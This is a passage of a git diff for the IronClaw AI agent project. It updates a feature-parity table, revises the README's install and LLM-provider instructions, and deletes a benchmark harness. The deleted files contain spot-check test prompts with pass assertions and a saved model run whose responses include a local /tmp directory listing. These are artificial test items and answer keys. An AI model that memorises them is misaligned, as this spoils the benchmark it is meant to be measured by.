implementation) and O | Feature | OpenClaw | IronClaw | Priority | Notes | |---------|----------|----------|----------|-------| | SwiftUI native app | ✅ | 🚫 | - | Out of scope | -| Menu bar presence | ✅ | 🚫 | - | | +| Menu bar presence | ✅ | 🚫 | - | Animated menubar icon | | Bundled gateway | ✅ | 🚫 | - | | -| Canvas hosting | ✅ | 🚫 | - | | -| Voice wake | ✅ | 🚫 | - | | +| Canvas hosting | ✅ | 🚫 | - | Agent-controlled panel with placement/resizing | +| Voice wake | ✅ | 🚫 | - | Overlay, mic picker, language selection, live meter | +| Voice wake overlay | ✅ | 🚫 | - | Partial transcripts, adaptive delays, dismiss animations | +| Push-to-talk hotkey | ✅ | 🚫 | - | System-wide hotkey | | Exec approval dialogs | ✅ | ✅ | - | TUI overlay | | iMessage integration | ✅ | 🚫 | - | | +| Instances tab | ✅ | 🚫 | - | Presence beacons across instances | +| Agent events debug window | ✅ | 🚫 | - | Real-time event inspector | +| Sparkle auto-updates | ✅ | 🚫 | - | Appcast distribution | ### Owner: _Unassigned_ (if ever prioritized) @@ -310,7 +408,10 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Config editing | ✅ | ❌ | P3 | | | Debug/logs viewer | ✅ | ✅ | - | Real-time log streaming with level/target filters | | WebChat interface | ✅ | ✅ | - | Web gateway chat with SSE/WebSocket | -| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI | +| Canvas system (A2UI) | ✅ | ❌ | P3 | Agent-driven UI, improved asset resolution | +| Control UI i18n | ✅ | ❌ | P3 | English, Chinese, Portuguese | +| WebChat theme sync | ✅ | ❌ | P3 | Sync with system dark/light mode | +| Partial output on abort | ✅ | ❌ | P2 | Preserve partial output when aborting | ### Owner: _Unassigned_ @@ -321,20 +422,26 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Feature | OpenClaw | IronClaw | Priority | Notes | |---------|----------|----------|----------|-------| | Cron jobs | ✅ | ✅ | - | Routines with cron trigger | +| Cron stagger controls | ✅ | ❌ | P3 | Default stagger for scheduled jobs | +| Cron finished-run webhook | ✅ | ❌ | P3 | Webhook on job completion | | Timezone support | ✅ | ✅ | - | Via cron expressions | | One-shot/recurring jobs | ✅ | ✅ | - | Manual + cron triggers | +| Channel health monitor | ✅ | ❌ | P2 | Auto-restart with configurable interval | | `beforeInbound` hook | ✅ | ✅ | P2 | | | `beforeOutbound` hook | ✅ | ✅ | P2 | | | `beforeToolCall` hook | ✅ | ✅ | P2 | | +| `before_agent_start` hook | ✅ | ❌ | P2 | Model/provider override | +| `before_message_write` hook | ✅ | ❌ | P2 | Pre-write interception | | `onMessage` hook | ✅ | ✅ | - | Routines with event trigger | | `onSessionStart` hook | ✅ | ✅ | P2 | | | `onSessionEnd` hook | ✅ | ✅ | P2 | | | `transcribeAudio` hook | ✅ | ❌ | P3 | | | `transformResponse` hook | ✅ | ✅ | P2 | | -| Bundled hooks | ✅ | ❌ | P2 | | -| Plugin hooks | ✅ | ❌ | P3 | | -| Workspace hooks | ✅ | ❌ | P2 | Inline code | -| Outbound webhooks | ✅ | ❌ | P2 | | +| `llm_input`/`llm_output` hooks | ✅ | ❌ | P3 | LLM payload inspection | +| Bundled hooks | ✅ | ✅ | P2 | Audit + declarative rule/webhook hooks | +| Plugin hooks | ✅ | ✅ | P3 | Registered from WASM `capabilities.json` | +| Workspace hooks | ✅ | ✅ | P2 | `hooks/hooks.json` and `hooks/*.hook.json` | +| Outbound webhooks | ✅ | ✅ | P2 | Fire-and-forget lifecycle event delivery | | Heartbeat system | ✅ | ✅ | - | Periodic execution | | Gmail pub/sub | ✅ | ❌ | P3 | | @@ -349,6 +456,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Gateway token auth | ✅ | ✅ | Bearer token auth on web gateway | | Device pairing | ✅ | ❌ | | | Tailscale identity | ✅ | ❌ | | +| Trusted-proxy auth | ✅ | ❌ | Header-based reverse proxy auth | | OAuth flows | ✅ | 🚧 | NEAR AI OAuth | | DM pairing verification | ✅ | ✅ | ironclaw pairing approve, host APIs | | Allowlist/blocklist | ✅ | 🚧 | allow_from + pairing store | @@ -356,18 +464,26 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Exec approvals | ✅ | ✅ | TUI overlay | | TLS 1.3 minimum | ✅ | ✅ | reqwest rustls | | SSRF protection | ✅ | ✅ | WASM allowlist | +| SSRF IPv6 transition bypass block | ✅ | ❌ | Block IPv4-mapped IPv6 bypasses | +| Cron webhook SSRF guard | ✅ | ❌ | SSRF checks on webhook delivery | | Loopback-first | ✅ | 🚧 | HTTP binds 0.0.0.0 | | Docker sandbox | ✅ | ✅ | Orchestrator/worker containers | +| Podman support | ✅ | ❌ | Alternative to Docker | | WASM sandbox | ❌ | ✅ | IronClaw innovation | +| Sandbox env sanitization | ✅ | 🚧 | Shell tool scrubs env vars (secret detection); docker container env sanitization partial | | Tool policies | ✅ | ✅ | | | Elevated mode | ✅ | ❌ | | -| Safe bins allowlist | ✅ | ❌ | | +| Safe bins allowlist | ✅ | ❌ | Hardened path trust | | LD*/DYLD* validation | ✅ | ❌ | | -| Path traversal prevention | ✅ | ✅ | | +| Path traversal prevention | ✅ | ✅ | Including config includes (OC-06) | +| Credential theft via env injection | ✅ | 🚧 | Shell env scrubbing + command injection detection; no full OC-09 defense | +| Session file permissions (0o600) | ✅ | ✅ | Session token file set to 0o600 in llm/session.rs | +| Skill download path restriction | ✅ | ❌ | Prevent arbitrary write targets | | Webhook signature verification | ✅ | ✅ | | | Media URL validation | ✅ | ❌ | | | Prompt injection defense | ✅ | ✅ | Pattern detection, sanitization | | Leak detection | ✅ | ✅ | Secret exfiltration | +| Dangerous tool re-enable warning | ✅ | ❌ | Warn when gateway.tools.allow re-enables HTTP tools | ### Owner: _Unassigned_ @@ -387,6 +503,9 @@ This document tracks feature parity between IronClaw (Rust implementation) and O | Coverage | V8 | tarpaulin/llvm-cov | | | CI/CD | GitHub Actions | GitHub Actions | | | Pre-commit hooks | prek | - | Consider adding | +| Docker: Chromium + Xvfb | ✅ | ❌ | Optional browser in container | +| Docker: init scripts | ✅ | ❌ | /openclaw-init.d/ support | +| Browser: extraArgs config | ✅ | ❌ | Custom Chrome launch arguments | ### Owner: _Unassigned_ @@ -399,7 +518,7 @@ This document tracks feature parity between IronClaw (Rust implementation) and O - ✅ HTTP webhook channel - ✅ DM pairing (ironclaw pairing list/approve, host APIs) - ✅ WASM tool sandbox -- ✅ Workspace/memory with hybrid search +- ✅ Workspace/memory with hybrid search + embeddings batching - ✅ Prompt injection defense - ✅ Heartbeat system - ✅ Session management @@ -414,29 +533,40 @@ This document tracks feature parity between IronClaw (Rust implementation) and O - ✅ Cron job scheduling (routines) - ✅ CLI subcommands (onboard, config, status, memory) - ✅ Gateway token auth +- ✅ Skills system (prompt-based with trust gating, attenuation, activation criteria) +- ✅ Session file permissions (0o600) +- ✅ Memory CLI commands (search, read, write, tree, status) +- ✅ Shell env scrubbing + command injection detection +- ✅ Tinfoil private inference provider +- ✅ OpenAI-compatible / OpenRouter provider support ### P1 - High Priority - ❌ Slack channel (real implementation) - ✅ Telegram channel (WASM, DM pairing, caption, /start) - ❌ WhatsApp channel - ✅ Multi-provider failover (`FailoverProvider` with retryable error classification) -- ✅ Hooks system (beforeInbound, beforeToolCall, beforeOutbound, onSessionStart, onSessionEnd, transformResponse) +- ✅ Hooks system (core lifecycle hooks + bundled/plugin/workspace hooks + outbound webhooks) ### P2 - Medium Priority - ❌ Media handling (images, PDFs) -- ❌ Ollama/local model support +- ✅ Ollama/local model support (via rig::providers::ollama) - ❌ Configuration hot-reload - ❌ Webhook trigger endpoint in web gateway +- ❌ Channel health monitor with auto-restart +- ❌ Partial output preservation on abort ### P3 - Lower Priority - ❌ Discord channel -- ❌ Signal channel - ❌ Matrix channel - ❌ Other messaging platforms - ❌ TTS/audio features - ❌ Video support -- ❌ Skills system +- 🚧 Skills routing blocks (activation criteria exist, but no "Use when / Don't use when") - ❌ Plugin registry +- ❌ Streaming (block/tool/Z.AI tool_stream) +- ❌ Memory: temporal decay, MMR re-ranking, query expansion +- ❌ Control UI i18n +- ❌ Stuck loop detection --- @@ -461,9 +591,12 @@ IronClaw intentionally differs from OpenClaw in these ways: 1. **Rust vs TypeScript**: Native performance, memory safety, single binary distribution 2. **WASM sandbox vs Docker**: Lighter weight, faster startup, capability-based security -3. **PostgreSQL vs SQLite**: Better suited for production deployments +3. **PostgreSQL + libSQL vs SQLite**: Dual-backend (production PG + embedded libSQL for zero-dep local mode) 4. **NEAR AI focus**: Primary provider with session-based auth 5. **No mobile/desktop apps**: Focus on server-side and CLI initially 6. **WASM channels**: Novel extension mechanism not in OpenClaw +7. **Tinfoil private inference**: IronClaw-only provider for private/encrypted inference +8. **GitHub WASM tool**: Native GitHub integration as WASM tool +9. **Prompt-based skills**: Different approach than OpenClaw capability bundles (trust gating, attenuation) These are intentional architectural choices, not gaps to be filled. diff --git a/README.md b/README.md index d8fc7a78..d19ae1e9 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@

- IronClaw + IronClaw

IronClaw

@@ -8,6 +8,12 @@ Your secure personal AI assistant, always on your side

+

+ License: MIT OR Apache-2.0 + Telegram: @ironclawAI + Reddit: r/ironclawAI +

+

Philosophy • Features • @@ -99,6 +105,15 @@ curl --proto '=https' --tlsv1.2 -LsSf https://github.com/nearai/ironclaw/release ``` +

+ Install via Homebrew (macOS/Linux) + +```sh +brew install ironclaw +``` + +
+
Compile the source code (Cargo on Windows, Linux, macOS) @@ -139,8 +154,26 @@ ironclaw onboard ``` The wizard handles database connection, NEAR AI authentication (via browser OAuth), -and secrets encryption (using your system keychain). All settings are saved to -`~/.ironclaw/settings.toml`. +and secrets encryption (using your system keychain). Settings are persisted in the +connected database; bootstrap variables (e.g. `DATABASE_URL`, `LLM_BACKEND`) are +written to `~/.ironclaw/.env` so they are available before the database connects. + +### Alternative LLM Providers + +IronClaw defaults to NEAR AI but works with any OpenAI-compatible endpoint. +Popular options include **OpenRouter** (300+ models), **Together AI**, **Fireworks AI**, +**Ollama** (local), and self-hosted servers like **vLLM** or **LiteLLM**. + +Select *"OpenAI-compatible"* in the wizard, or set environment variables directly: + +```env +LLM_BACKEND=openai_compatible +LLM_BASE_URL=https://openrouter.ai/api/v1 +LLM_API_KEY=sk-or-... +LLM_MODEL=anthropic/claude-sonnet-4 +``` + +See [docs/LLM_PROVIDERS.md](docs/LLM_PROVIDERS.md) for a full provider guide. ## Security diff --git a/benchmarks/Cargo.toml b/benchmarks/Cargo.toml deleted file mode 100644 index acaeb64d..00000000 --- a/benchmarks/Cargo.toml +++ /dev/null @@ -1,50 +0,0 @@ -[package] -name = "ironclaw-bench" -version = "0.1.0" -edition = "2024" -rust-version = "1.85" -description = "Benchmarking harness for IronClaw agent" -license = "MIT OR Apache-2.0" -publish = false - -[[bin]] -name = "ironclaw-bench" -path = "src/main.rs" - -[dependencies] -ironclaw = { path = ".." } - -# Async runtime -tokio = { version = "1", features = ["full"] } -tokio-stream = { version = "0.1", features = ["sync"] } -futures = "0.3" - -# Serialization -serde = { version = "1", features = ["derive"] } -serde_json = "1" -toml = "0.8" - -# CLI -clap = { version = "4", features = ["derive"] } - -# Core types -uuid = { version = "1", features = ["v4", "serde"] } -chrono = { version = "0.4", features = ["serde"] } -rust_decimal = { version = "1", features = ["serde", "serde-with-str"] } - -# Error handling -thiserror = "2" -anyhow = "1" - -# Async traits -async-trait = "0.1" - -# Logging -tracing = "0.1" -tracing-subscriber = { version = "0.3", features = ["env-filter"] } - -# Scoring -regex = "1" - -[dev-dependencies] -tempfile = "3" diff --git a/benchmarks/baselines/spot-gpt5.2-2c43b83/run.json b/benchmarks/baselines/spot-gpt5.2-2c43b83/run.json deleted file mode 100644 index 01c0e9d7..00000000 --- a/benchmarks/baselines/spot-gpt5.2-2c43b83/run.json +++ /dev/null @@ -1,15 +0,0 @@ -{ - "run_id": "8a48de1f-09ce-4c35-9ad1-dad98fb83a1a", - "suite_id": "spot", - "config_label": "default", - "model": "openai/gpt-5.2", - "commit_hash": "2c43b83", - "pass_rate": 1.0, - "avg_score": 1.0, - "total_tasks": 21, - "completed_tasks": 21, - "total_cost_usd": 0.307053, - "total_wall_time_ms": 111009, - "started_at": "2026-02-17T22:02:08.206112Z", - "finished_at": "2026-02-17T22:03:59.270325Z" -} \ No newline at end of file diff --git a/benchmarks/baselines/spot-gpt5.2-2c43b83/tasks.jsonl b/benchmarks/baselines/spot-gpt5.2-2c43b83/tasks.jsonl deleted file mode 100644 index b19b421e..00000000 --- a/benchmarks/baselines/spot-gpt5.2-2c43b83/tasks.jsonl +++ /dev/null @@ -1,21 +0,0 @@ -{"task_id":"smoke-greeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2037,"llm_calls":1,"input_tokens":1359,"output_tokens":65,"estimated_cost_usd":0.005052,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"I’m NEAR AI Agent—an autonomous assistant that helps you plan, write, debug, and execute tasks using available tools (like reading/writing files, running shell commands, and making HTTP requests). Tell me what you’re working on and what outcome you want, and I’ll drive it to completion.","started_at":"2026-02-17T22:02:08.206165Z","finished_at":"2026-02-17T22:02:10.243552Z","config_label":"default","error":null} -{"task_id":"smoke-math","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2038,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"1081","started_at":"2026-02-17T22:02:10.243933Z","finished_at":"2026-02-17T22:02:12.282133Z","config_label":"default","error":null} -{"task_id":"tool-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2646,"llm_calls":2,"input_tokens":2786,"output_tokens":24,"estimated_cost_usd":0.008718,"tool_calls":[{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Spot check passed","started_at":"2026-02-17T22:02:12.282294Z","finished_at":"2026-02-17T22:02:14.928540Z","config_label":"default","error":null} -{"task_id":"tool-time","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2839,"output_tokens":78,"estimated_cost_usd":0.009687,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Current date/time (UTC): **2026-02-17 22:02:16** \nISO 8601: **2026-02-17T22:02:16.045933+00:00**","started_at":"2026-02-17T22:02:14.928810Z","finished_at":"2026-02-17T22:02:18.389188Z","config_label":"default","error":null} -{"task_id":"tool-json-query","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2751,"llm_calls":2,"input_tokens":2839,"output_tokens":43,"estimated_cost_usd":0.009162,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Bob","started_at":"2026-02-17T22:02:18.389812Z","finished_at":"2026-02-17T22:02:21.141146Z","config_label":"default","error":null} -{"task_id":"tool-shell-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3460,"llm_calls":2,"input_tokens":2811,"output_tokens":25,"estimated_cost_usd":0.008808,"tool_calls":[{"name":"shell","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"benchmark test","started_at":"2026-02-17T22:02:21.141384Z","finished_at":"2026-02-17T22:02:24.601812Z","config_label":"default","error":null} -{"task_id":"tool-list-dir","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":19146,"llm_calls":2,"input_tokens":4370,"output_tokens":1337,"estimated_cost_usd":0.033165,"tool_calls":[{"name":"list_dir","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```\nclaude-501/\nclaude-505/\nclaude/\ncodex/\ncom.apple.launchd.HqYyNM7hoK/\ncom.apple.launchd.Z0bTtlsPEN/\ncom.apple.launchd.oY8y5gkzN4/\ncom.apple.launchd.sdo3WGu0S7/\ndata-gym-cache/\ndocker-desktop-privileged2203342862/\ngrammers-test/\nnear-agent-target/\nnear-market-bot-push/\nnear-market-bot/\nopenclaw/\npowerlog/\ntest_grpo/\ntest_grpo2/\ntest_grpo_entry/\ntest_grpo_mix/\ntest_grpo_singleton/\ntmpybtjiuc0/\n.d8bd37babaf2f1f7-00000000.node (5.9MB)\n.d8bd37fbfbb0f7ff-00000000.node (5.9MB)\n.d8bd3d9bdf6dd3f7-00000000.node (5.9MB)\n.d8bd3fbfbf21ddf7-00000000.node (5.9MB)\n.d8bd7dfebb38d5ff-00000000.node (5.9MB)\n.d8bdf5deba3bf1f7-00000000.node (5.9MB)\n.d8bdf7cfff76f3f7-00000000.node (5.9MB)\n.d8bdfd8ffe26d5ff-00000000.node (5.9MB)\n.d8bdfdeb9ba8dbff-00000000.node (5.9MB)\n.d8bdfffe9ab2ddff-00000000.node (5.9MB)\n.s.PGSQL.5432 (0B)\n.s.PGSQL.5432.lock (56B)\n__KMP_REGISTERED_LIB_75079 (1.0KB)\nagent_loop_new.rs (28.5KB)\nagent_mod.rs (1.6KB)\nauth_trace.md (10.8KB)\nbench-daily.md (72B)\nbench-log.md (109B)\nbench-meeting.md (160B)\nbench-monday.md (44B)\nbench-prefs.md (61B)\nbench-project.md (213B)\nbench-reminder.md (68B)\nbench-todo.md (153B)\nbench-tuesday.md (40B)\ncac-deck.html (151.5KB)\ncircuit_breaker.rs (22.1KB)\ncli_config.rs (9.1KB)\ncli_service.rs (1.1KB)\ncommands.rs (17.5KB)\nconfig.rs (58.4KB)\nconflicts_summary.md (21.4KB)\ncost_guard.rs (11.3KB)\ndebug_forc2.py (2.8KB)\ndebug_forc3.py (3.0KB)\ndebug_forc4.py (3.0KB)\ndebug_forc5.py (4.0KB)\ndebug_forc6.py (3.9KB)\ndebug_forc7.py (2.7KB)\ndebug_forc8.py (2.9KB)\ndebug_forc_prove.py (3.0KB)\ndispatcher.rs (26.2KB)\ndoctor.rs (8.4KB)\nhygiene.rs (7.3KB)\nironclaw_blog_test.png (21.4KB)\nironclaw_browser_test_viewport.png (156.1KB)\nironclaw_linkedin_debug.png (6.5KB)\nironclaw_spot_test.txt (19B)\nkeys_chain_signatures.rs (6.1KB)\nkeys_error.rs (1.6KB)\nkeys_intents.rs (5.8KB)\nkeys_mod.rs (31.6KB)\nkeys_policy.rs (31.4KB)\nkeys_rpc.rs (8.5KB)\nkeys_signer.rs (8.0KB)\nkeys_spending.rs (5.9KB)\nkeys_transaction.rs (13.7KB)\nkeys_types.rs (17.4KB)\nleak_detection_research_summary.md (13.0KB)\nleak_detector.rs (25.3KB)\nlib_new.rs (5.0KB)\nllm_mod.rs (10.0KB)\nmain.rs (56.8KB)\nmain_bootstrap.rs (11.0KB)\nmain_rs.txt (34.1KB)\nnear_resp.json (39B)\nobs_log.rs (5.9KB)\nobs_mod.rs (2.7KB)\nobs_multi.rs (4.0KB)\nobs_noop.rs (1.5KB)\nobs_traits.rs (4.0KB)\nour_bootstrap.rs (12.6KB)\nour_config.rs (45.2KB)\npost_final_review.py (6.4KB)\npost_review.py (4.6KB)\npost_review2.py (4.8KB)\npost_review3.py (2.2KB)\npr-35.diff (137.4KB)\npr115.diff (1.6MB)\npr126.diff (336.9KB)\npr14_full_diff.txt (193.4KB)\npr39_files.txt (243B)\npr51_files.txt (548B)\npr93_diff.txt (160.4KB)\nprs.json (4.6KB)\nresponse_cache.rs (15.1KB)\nrun_hard_proof_search.sh (545B)\nrun_hard_proof_search2.sh (515B)\nrun_proof_search_v3.sh (523B)\nrun_proof_search_v4.sh (524B)\nservice.rs (11.9KB)\nsettings.rs (34.7KB)\ntest_line.py (789B)\ntest_search.txt (1.8KB)\nthread_ops.rs (38.5KB)\ntool_wit.txt (6.0KB)\ntunnel_cf.rs (3.9KB)\ntunnel_custom.rs (6.2KB)\ntunnel_mod.rs (10.4KB)\ntunnel_ngrok.rs (4.2KB)\ntunnel_none.rs (1.3KB)\ntunnel_ts.rs (3.5KB)\nwasm_capabilities.rs (15.2KB)\nwasm_capabilities_schema.rs (26.2KB)\nwasm_host.rs (25.3KB)\nwasm_wrapper.rs (14.9KB)\n```","started_at":"2026-02-17T22:02:24.602248Z","finished_at":"2026-02-17T22:02:43.748463Z","config_label":"default","error":null} -{"task_id":"chain-write-read","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5712,"llm_calls":3,"input_tokens":4489,"output_tokens":73,"estimated_cost_usd":0.014562,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"It says: `ironclaw spot check`.","started_at":"2026-02-17T22:02:43.749933Z","finished_at":"2026-02-17T22:02:49.462007Z","config_label":"default","error":null} -{"task_id":"chain-shell-json","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4582,"llm_calls":3,"input_tokens":4433,"output_tokens":94,"estimated_cost_usd":0.014709,"tool_calls":[{"name":"shell","duration_ms":0,"success":true},{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"[Called tool `json` with arguments: {\"data\":{\"code\":200,\"status\":\"ok\"},\"operation\":\"query\",\"path\":\"status\"}]","started_at":"2026-02-17T22:02:49.463794Z","finished_at":"2026-02-17T22:02:54.046092Z","config_label":"default","error":null} -{"task_id":"chain-time-echo","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4583,"llm_calls":3,"input_tokens":4404,"output_tokens":76,"estimated_cost_usd":0.014352,"tool_calls":[{"name":"time","duration_ms":0,"success":true},{"name":"echo","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"2026-02-17T22:02:55.786456+00:00","started_at":"2026-02-17T22:02:54.046306Z","finished_at":"2026-02-17T22:02:58.629389Z","config_label":"default","error":null} -{"task_id":"robust-no-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":1020,"llm_calls":1,"input_tokens":1366,"output_tokens":5,"estimated_cost_usd":0.004173,"tool_calls":[],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Paris.","started_at":"2026-02-17T22:02:58.630502Z","finished_at":"2026-02-17T22:02:59.650655Z","config_label":"default","error":null} -{"task_id":"robust-correct-tool","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":3980,"llm_calls":2,"input_tokens":2825,"output_tokens":50,"estimated_cost_usd":0.009225,"tool_calls":[{"name":"time","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"It’s **22:03:01 UTC** right now (**2026-02-17**).","started_at":"2026-02-17T22:02:59.650901Z","finished_at":"2026-02-17T22:03:03.631122Z","config_label":"default","error":null} -{"task_id":"robust-json-validate","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":2954,"llm_calls":2,"input_tokens":2822,"output_tokens":43,"estimated_cost_usd":0.009111,"tool_calls":[{"name":"json","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The JSON is valid (`valid: true`).","started_at":"2026-02-17T22:03:03.631527Z","finished_at":"2026-02-17T22:03:06.585971Z","config_label":"default","error":null} -{"task_id":"memory-save-daily","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4890,"llm_calls":3,"input_tokens":4547,"output_tokens":114,"estimated_cost_usd":0.015351,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"```md\n# Daily Tasks\n\n1. Review PR #42\n2. Update API docs\n3. Deploy to staging\n```","started_at":"2026-02-17T22:03:06.586556Z","finished_at":"2026-02-17T22:03:11.476648Z","config_label":"default","error":null} -{"task_id":"memory-save-reminder","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5607,"llm_calls":3,"input_tokens":4531,"output_tokens":95,"estimated_cost_usd":0.015018,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The appointment is on **March 5th at 2pm**, with **Dr. Smith**.","started_at":"2026-02-17T22:03:11.476873Z","finished_at":"2026-02-17T22:03:17.084343Z","config_label":"default","error":null} -{"task_id":"memory-save-meeting","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6113,"llm_calls":3,"input_tokens":4750,"output_tokens":122,"estimated_cost_usd":0.01608,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Frontend owner: **Bob** \nLaunch date: **April 15th**","started_at":"2026-02-17T22:03:17.085432Z","finished_at":"2026-02-17T22:03:23.198905Z","config_label":"default","error":null} -{"task_id":"memory-append-log","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9880,"llm_calls":6,"input_tokens":9941,"output_tokens":208,"estimated_cost_usd":0.032943,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"shell","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Contents of `/tmp/bench-log.md`:\n1. Morning standup: discussed blockers on auth service \n2. Afternoon: resolved API timeout issue in payment gateway \n\nSummary: You discussed blockers affecting the auth service during the morning standup, and later in the afternoon you resolved an API timeout issue in the payment gateway.","started_at":"2026-02-17T22:03:23.199155Z","finished_at":"2026-02-17T22:03:33.079396Z","config_label":"default","error":null} -{"task_id":"memory-recall-detail","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":4989,"llm_calls":3,"input_tokens":4721,"output_tokens":121,"estimated_cost_usd":0.015978,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"The project uses **PostgreSQL** as the database, and the PM is **James**.","started_at":"2026-02-17T22:03:33.080611Z","finished_at":"2026-02-17T22:03:38.069896Z","config_label":"default","error":null} -{"task_id":"memory-todo-priority","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":5916,"llm_calls":3,"input_tokens":4676,"output_tokens":110,"estimated_cost_usd":0.015678,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"High priority tasks:\n- Fix login bug\n- Security audit","started_at":"2026-02-17T22:03:38.070162Z","finished_at":"2026-02-17T22:03:43.986831Z","config_label":"default","error":null} -{"task_id":"memory-multifile","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":6081,"llm_calls":4,"input_tokens":6442,"output_tokens":196,"estimated_cost_usd":0.022266,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"On Tuesday you have **Sprint retro at 11am**, then **team lunch at noon**.","started_at":"2026-02-17T22:03:43.988013Z","finished_at":"2026-02-17T22:03:50.069452Z","config_label":"default","error":null} -{"task_id":"memory-update-context","suite_id":"spot","score":{"value":1.0,"label":"pass","details":null},"trace":{"wall_time_ms":9164,"llm_calls":5,"input_tokens":8354,"output_tokens":252,"estimated_cost_usd":0.028842,"tool_calls":[{"name":"write_file","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true},{"name":"apply_patch","duration_ms":0,"success":true},{"name":"read_file","duration_ms":0,"success":true}],"turns":1,"hit_iteration_limit":false,"hit_timeout":false},"response":"Final read confirms the file now says `timezone: EST`.","started_at":"2026-02-17T22:03:50.070277Z","finished_at":"2026-02-17T22:03:59.235196Z","config_label":"default","error":null} diff --git a/benchmarks/data/spot.jsonl b/benchmarks/data/spot.jsonl deleted file mode 100644 index 5c8c927e..00000000 --- a/benchmarks/data/spot.jsonl +++ /dev/null @@ -1,21 +0,0 @@ -{"id": "smoke-greeting", "prompt": "Hello! Introduce yourself briefly.", "tags": ["smoke"], "assertions": {"response_matches": "(?i)(hello|hi|hey|assistant|agent|help)", "no_error": true, "max_tool_calls": 0}} -{"id": "smoke-math", "prompt": "What is 47 * 23? Reply with just the number.", "tags": ["smoke"], "assertions": {"response_contains": ["1081"], "no_error": true, "max_tool_calls": 0}} -{"id": "tool-echo", "prompt": "Use the echo tool to repeat the message: 'Spot check passed'", "tags": ["tool"], "assertions": {"tools_used": ["echo"], "response_contains": ["Spot check passed"], "no_error": true}} -{"id": "tool-time", "prompt": "What is the current date and time? Use the time tool.", "tags": ["tool"], "assertions": {"tools_used": ["time"], "response_matches": "20\\d{2}", "no_error": true}} -{"id": "tool-json-query", "prompt": "Given this JSON: {\"users\": [{\"name\": \"Alice\"}, {\"name\": \"Bob\"}]}, use the json tool to extract the second user's name.", "tags": ["tool"], "assertions": {"tools_used": ["json"], "response_contains": ["Bob"], "no_error": true}} -{"id": "tool-shell-echo", 